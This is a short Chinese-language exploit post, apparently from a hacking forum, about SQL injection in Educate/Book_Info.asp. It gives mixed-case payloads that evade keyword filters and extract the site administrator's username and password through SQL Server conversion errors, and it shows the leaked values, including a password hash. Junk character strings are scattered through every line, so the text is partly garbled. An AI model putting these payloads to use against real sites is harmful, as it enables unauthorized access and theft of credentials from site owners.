漏洞出现在Educate/Book_Info.asp
- K" ?$ ]- ]4 [6 `# j! d+ F# h w
' V0 s! i. h; Q9 j q此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
a7 m: M" `1 y" Y" z7 ` # |' ]* F0 G6 g5 ^! ?
exp:如下- r3 n$ ~3 X. q) R; z' o
查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
8 I9 B4 K5 _& M* Z4 d& T查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper): }/ E0 j; E8 o
7 j( B! }+ D/ [) U7 i. Ehttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
6 F6 `8 Y; [- _/ n4 f+ o( _8 l - S1 V+ x8 H& y
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'0 w( t7 \- d6 B# m3 s
3 c _. y" Y: P0 j2 C* o" b3 F
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。, L: ~: J& U _- \( Q# Q6 {- i
/ v. j( R4 M3 h4 C2 X. F) l, J
/Educate/Book_Info.asp,行 87 ~: ~% V$ { t4 B
6 `" B! t5 a U: T$ @ ahttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)+ Q# p3 ?5 o1 g! `* A& ^( g+ _
& a, L) E6 c# }8 e( [: G
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'! E$ d9 q4 `8 `
9 ~' l2 O4 V' e, @2 K: n
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
. [6 y5 \1 v* i/ D! s2 n
S5 R. ]. u/ `6 J' g5 Y5 }0 {/Educate/Book_Info.asp,行 89 l1 U/ q5 _; i4 f' p [
|